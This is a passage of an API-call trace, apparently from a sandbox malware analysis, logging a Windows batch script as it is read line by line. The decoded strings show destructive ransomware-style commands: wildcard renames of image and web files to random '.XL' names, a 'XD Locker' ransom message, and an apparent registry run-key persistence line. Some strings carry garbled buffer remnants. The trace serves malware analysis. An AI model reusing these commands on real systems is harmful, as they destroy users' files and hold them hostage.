SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1428 [0039.542] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.542] GetFileType (hFile=0x74) returned 0x1 [0039.542] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1428 [0039.542] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.543] SetFilePointer (in: hFile=0x74, lDistanceToMove=5166, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x142e [0039.543] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":jpg\r\nock\r\n") returned 6 [0039.543] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.543] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x142e [0039.543] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.543] GetFileType (hFile=0x74) returned 0x1 [0039.543] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x142e [0039.543] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.543] SetFilePointer (in: hFile=0x74, lDistanceToMove=5168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1430 [0039.543] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\npg\r\n") returned 2 [0039.543] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.543] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1430 [0039.543] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.543] GetFileType (hFile=0x74) returned 0x1 [0039.543] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1430 [0039.543] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.543] SetFilePointer (in: hFile=0x74, lDistanceToMove=5194, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x144a [0039.543] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.jpg %RANDOM%.XL\r\n") returned 26 [0039.544] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.544] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x144a [0039.544] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.544] GetFileType (hFile=0x74) returned 0x1 [0039.544] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x144a [0039.544] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.544] SetFilePointer (in: hFile=0x74, lDistanceToMove=5205, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1455 [0039.544] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ng %RANDOM%.XL\r\n") returned 11 [0039.544] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.544] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1455 [0039.544] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.544] GetFileType (hFile=0x74) returned 0x1 [0039.544] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1455 [0039.544] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.544] SetFilePointer (in: hFile=0x74, lDistanceToMove=5207, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1457 [0039.544] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.544] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.544] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1457 [0039.545] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.545] GetFileType (hFile=0x74) returned 0x1 [0039.545] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1457 [0039.545] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.545] SetFilePointer (in: hFile=0x74, lDistanceToMove=5213, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x145d [0039.545] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":png\r\nock\r\n") returned 6 [0039.545] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.545] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x145d [0039.545] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.545] GetFileType (hFile=0x74) returned 0x1 [0039.545] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x145d [0039.545] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.545] SetFilePointer (in: hFile=0x74, lDistanceToMove=5215, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x145f [0039.545] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nng\r\n") returned 2 [0039.545] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.545] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x145f [0039.545] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.545] GetFileType (hFile=0x74) returned 0x1 [0039.545] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x145f [0039.546] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.546] SetFilePointer (in: hFile=0x74, lDistanceToMove=5241, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1479 [0039.546] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.png %RANDOM%.XL\r\n") returned 26 [0039.546] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.546] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1479 [0039.546] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.546] GetFileType (hFile=0x74) returned 0x1 [0039.546] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1479 [0039.546] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.546] SetFilePointer (in: hFile=0x74, lDistanceToMove=5252, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1484 [0039.546] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ng %RANDOM%.XL\r\n") returned 11 [0039.546] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.546] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1484 [0039.546] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.546] GetFileType (hFile=0x74) returned 0x1 [0039.546] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1484 [0039.546] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.547] SetFilePointer (in: hFile=0x74, lDistanceToMove=5254, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1486 [0039.547] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.547] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.547] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1486 [0039.547] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.547] GetFileType (hFile=0x74) returned 0x1 [0039.547] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1486 [0039.547] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.547] SetFilePointer (in: hFile=0x74, lDistanceToMove=5260, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x148c [0039.547] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":htm\r\nock\r\n") returned 6 [0039.547] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.547] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x148c [0039.547] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.547] GetFileType (hFile=0x74) returned 0x1 [0039.547] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x148c [0039.547] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.547] SetFilePointer (in: hFile=0x74, lDistanceToMove=5262, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x148e [0039.547] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ntm\r\n") returned 2 [0039.547] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.548] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x148e [0039.548] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.548] GetFileType (hFile=0x74) returned 0x1 [0039.548] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x148e [0039.548] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.548] SetFilePointer (in: hFile=0x74, lDistanceToMove=5288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14a8 [0039.548] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.htm %RANDOM%.XL\r\n") returned 26 [0039.548] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.548] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14a8 [0039.548] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.548] GetFileType (hFile=0x74) returned 0x1 [0039.548] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14a8 [0039.548] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.548] SetFilePointer (in: hFile=0x74, lDistanceToMove=5299, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14b3 [0039.548] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nm %RANDOM%.XL\r\n") returned 11 [0039.548] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.548] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14b3 [0039.548] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.549] GetFileType (hFile=0x74) returned 0x1 [0039.549] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14b3 [0039.549] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.549] SetFilePointer (in: hFile=0x74, lDistanceToMove=5301, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14b5 [0039.549] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.549] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.549] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14b5 [0039.549] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.549] GetFileType (hFile=0x74) returned 0x1 [0039.549] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14b5 [0039.549] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.549] SetFilePointer (in: hFile=0x74, lDistanceToMove=5308, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14bc [0039.549] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":html\r\nck\r\n") returned 7 [0039.549] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.549] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14bc [0039.549] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.549] GetFileType (hFile=0x74) returned 0x1 [0039.549] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14bc [0039.550] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.550] SetFilePointer (in: hFile=0x74, lDistanceToMove=5310, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14be [0039.550] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ntml\r\n") returned 2 [0039.550] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.550] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14be [0039.550] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.550] GetFileType (hFile=0x74) returned 0x1 [0039.550] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14be [0039.550] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.550] SetFilePointer (in: hFile=0x74, lDistanceToMove=5337, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14d9 [0039.550] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.html %RANDOM%.XL\r\n") returned 27 [0039.550] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.550] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14d9 [0039.550] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.550] GetFileType (hFile=0x74) returned 0x1 [0039.550] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14d9 [0039.550] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.550] SetFilePointer (in: hFile=0x74, lDistanceToMove=5348, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14e4 [0039.551] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nml %RANDOM%.XL\r\n") returned 11 [0039.551] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.551] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14e4 [0039.551] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.551] GetFileType (hFile=0x74) returned 0x1 [0039.551] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14e4 [0039.551] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.551] SetFilePointer (in: hFile=0x74, lDistanceToMove=5353, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14e9 [0039.551] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=5, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":l2\r\nLock\r\n") returned 5 [0039.551] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.551] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14e9 [0039.551] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.551] GetFileType (hFile=0x74) returned 0x1 [0039.551] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14e9 [0039.551] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.551] SetFilePointer (in: hFile=0x74, lDistanceToMove=5409, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1521 [0039.551] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=56, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="msg * Ooops your file have been encryoted by XD Locker\r\nve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f\r\n") returned 56 [0039.551] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.552] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1521 [0039.552] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.552] GetFileType (hFile=0x74) returned 0x1 [0039.552] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1521 [0039.552] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.552] SetFilePointer (in: hFile=0x74, lDistanceToMove=5419, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x152b [0039.552] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=10, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="color 4f\r\ns your file have been encryoted by XD Locker\r\n") returned 10 [0039.552] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.552] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x152b [0039.552] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.552] GetFileType (hFile=0x74) returned 0x1 [0039.553] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x152b [0039.553] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.553] SetFilePointer (in: hFile=0x74, lDistanceToMove=5424, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1530 [0039.553] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=5, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="cls\r\n 4f\r\n") returned 5 [0039.554] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.554] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1530 